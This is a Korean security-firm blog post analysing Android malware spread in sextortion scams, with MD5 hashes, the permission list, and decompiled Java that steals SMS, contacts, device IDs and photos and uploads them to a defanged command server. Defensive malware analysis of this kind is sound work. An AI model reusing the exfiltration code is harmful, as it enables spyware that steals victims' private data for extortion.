ENKI
Published in

ENKI

[악성코드 그것이 알고 싶다] — #1 몸캠피싱

1. 개요

[그림1] 음란행위 유도(몸캠) 및 악성 앱 유포(출처 : 경찰청 사이버수사국 홈페이지)

2. 몸캠피싱이란?

2.1. 실제사례

  1. 미모의 여성을 사칭한 익명의 공격자는 SNS, 랜덤채팅 등을 통해 대상을 탐색합니다.
  2. 대상을 발견한 공격자는 지속적으로 음란한 채팅을 하다가 음란한 행위를 하는 동영상을 교환하길 제안합니다.
  3. 지속적인 연락으로 신뢰가 쌓인 피해자는 의심 없이 동영상을 넘겨줍니다.
  4. 공격자는 비밀 채팅방을 이용하기 위한 어플이라 속이며 임의의 APK 파일 채팅방에 보내고 다운로드를 유도합니다.
  5. 이때 다운로드 되는 임의의 앱은 악성 앱 입니다. 해당 악성 앱이 설치되면 공격자는 피해자의 스마트폰에 저장된 연락처, 개인 정보 등을 탈취합니다.
  6. 이후 공격자는 동영상 유포 협박 및 동영상 삭제를 들먹이며 거액의 금전 요구를 했습니다. 피해자는 이에 수차례 응할 수밖에 없었습니다.

3. 악성앱 분석

3.1. 분석 파일 정보

  • 내 영상.avr.rar(MD5 : E37304CB18BE94741D1A351D54DAC2D7)
  • 혼자만봐.apk(MD5 : 3BD9CAAC7AE8EB77CB1910EAD489724A)

3.2. 악성행위 분석

실행 화면

[그림 2] 악성 앱 실행 시 전환되는 화면 中 일부

악성앱의 요구권한

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> 
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.READ_SMS" />
[표 1] 악성 앱에서 사용되는 권한

몸캠 피싱 악성앱 대표적 악성행위 4가지

  • 문자(SMS) 탈취
  • 연락처 탈취
  • 휴대폰 기기 정보 탈취
  • 사진 및 동영상 탈취

문자(SMS) 탈취

ArrayList v0 = new ArrayList();
try {
Cursor v1 = this.b.getContentResolver().query(Uri.parse("content://sms/"), new String[]{"_id", "address", "person", "body", "date", "type"}, null, null, "date desc");
int v2 = 0;
if(v1.moveToFirst()) {
int v3 = v1.getColumnIndex("person");
int v4 = v1.getColumnIndex("address");
int v5 = v1.getColumnIndex("body");
int v6 = v1.getColumnIndex("date");
int v7 = v1.getColumnIndex("type");
do {
label_30:
v1.getString(v3);
String v8 = v1.getString(v4);
String v9 = v1.getString(v5);
SimpleDateFormat v10 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
Date v11 = new Date(Long.parseLong(v1.getString(v6)));
v10.format(v11);
String v10_1 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(v11);
....
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadSms.htm";
}

연락처 탈취

public boolean a() {
try {
ArrayList v1_1 = b.a(this.b);
if(v1_1 != null && !v1_1.isEmpty()) {
HashMap v2 = new HashMap();
v2.put("phone", this.a);
String v1_2 = new Gson().toJson(v1_1);
Log.d("##########", v1_2);
v2.put("contacts", v1_2);
Object v1_3 = this.c.a(this.b(), ((Map)v2), Result.class);
if(v1_3 != null) {
((Result)v1_3).isSuccess();
}
}
}
catch(Exception v1) {
v1.printStackTrace();
return 1;
}
return 1;
}
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadContact.htm";
}

스마트폰 기기 정보 탈취

protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/sychonizeUser.htm";
}

public boolean c() {
Object v0_2;
HashMap v0 = new HashMap();
String v1 = e.b(this.a);
try {
v0.put("phone", this.d);
v0.put("imei", v1 + "#" + e.a());
v0.put("model", e.a());
v0_2 = this.c.a(this.b(), ((Map)v0), Result.class);
}

사진 및 동영상 탈취

...(중략)
HashMap v9 = new HashMap();
v9.put("upload", v5);
HashMap v8 = new HashMap();
v8.put("phone", this.a);
v8.put("time", String.valueOf(((Album)v3).getAddTime()));
Object v4 = this.c.a(this.b(), ((Map)v8), ((Map)v9), Result.class, null);
if(v4 == null) {
continue;
}
if(!((Result)v4).isSuccess()) {
continue;
}
com.open.studyvideo.a.c.a(this.b, ((Album)v3).getId());
}
}
}
}
c.d = System.currentTimeMillis();
return 1;
}
catch(Exception v1) {
v1.printStackTrace();
return 1;
}
}
protected String b() {
return "hxxp://158[.]247[.]220[.]251:8080/m/uploadAlbum.htm";
}

3.3 특이사항

특이사항 1 : 백신탐지 우회

  • 수집된 샘플 중 일부 샘플은 dexprotector와 같은 코드 보호 프로그램(프로텍터)로 보호되어 있었습니다. 이는 백신 프로그램에서 탐지되는 것을 우회하거나, 분석 비용을 높이기 위함으로 추정됩니다.

특이사항 2 : 데이터 수집서버 URL확인

  • 수집된 샘플들을 확인하던 중 정보 수집 서버 URL/IP만 다른 다수의 케이스도 확인할 수 있었습니다. 이 샘플들은 모두 동일한 공통 경로를 가지고 있었습니다.
[표 2] 공통된 경로를 가지는 악성 앱 정보 수집 URL/IP
public static String a(Context arg5) {
Object v1_1;
String v0_1;
String v1;
String v5 = "hxxp://158[.]247[.]220[.]251:8080/m/login.htm";
StringBuffer v0 = new StringBuffer();
try {
URLConnection v5_2 = new URL(v5).openConnection();
((HttpURLConnection)v5_2).setRequestMethod("POST");
((HttpURLConnection)v5_2).setConnectTimeout(3000);
((HttpURLConnection)v5_2).setDoOutput(true);
((HttpURLConnection)v5_2).getOutputStream().write("username=***&password=****".getBytes());
((HttpURLConnection)v5_2).setInstanceFollowRedirects(false);
((HttpURLConnection)v5_2).connect();
BufferedReader v2 = new BufferedReader(new InputStreamReader(((HttpURLConnection)v5_2).getInputStream(), "UTF-8"));
(…중략…)

4. 악용 시나리오

4.1 공격자 서버 접속

[그림 4] 확보한 계정 정보로 공격자 서버에 관리자 로그인
[그림 5] 로그인 후 공격자 서버에 있는 피해자 정보 리스트

5. 피해현황

[그림 8] 피해현황 추이
[그림 9] 제보 현황

6. IOC

MD5

[표 3] 유사한 구조를 가진 악성앱 샘플 MD5

IP/URL

[표 4] 유사한 구조를 가진 악성앱에서 수집된 URL/IP

7. 마치며

8. 참고자료

--

--

모든 보안 문제는 서로 다르며, 그 해답 역시 달라야 합니다.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store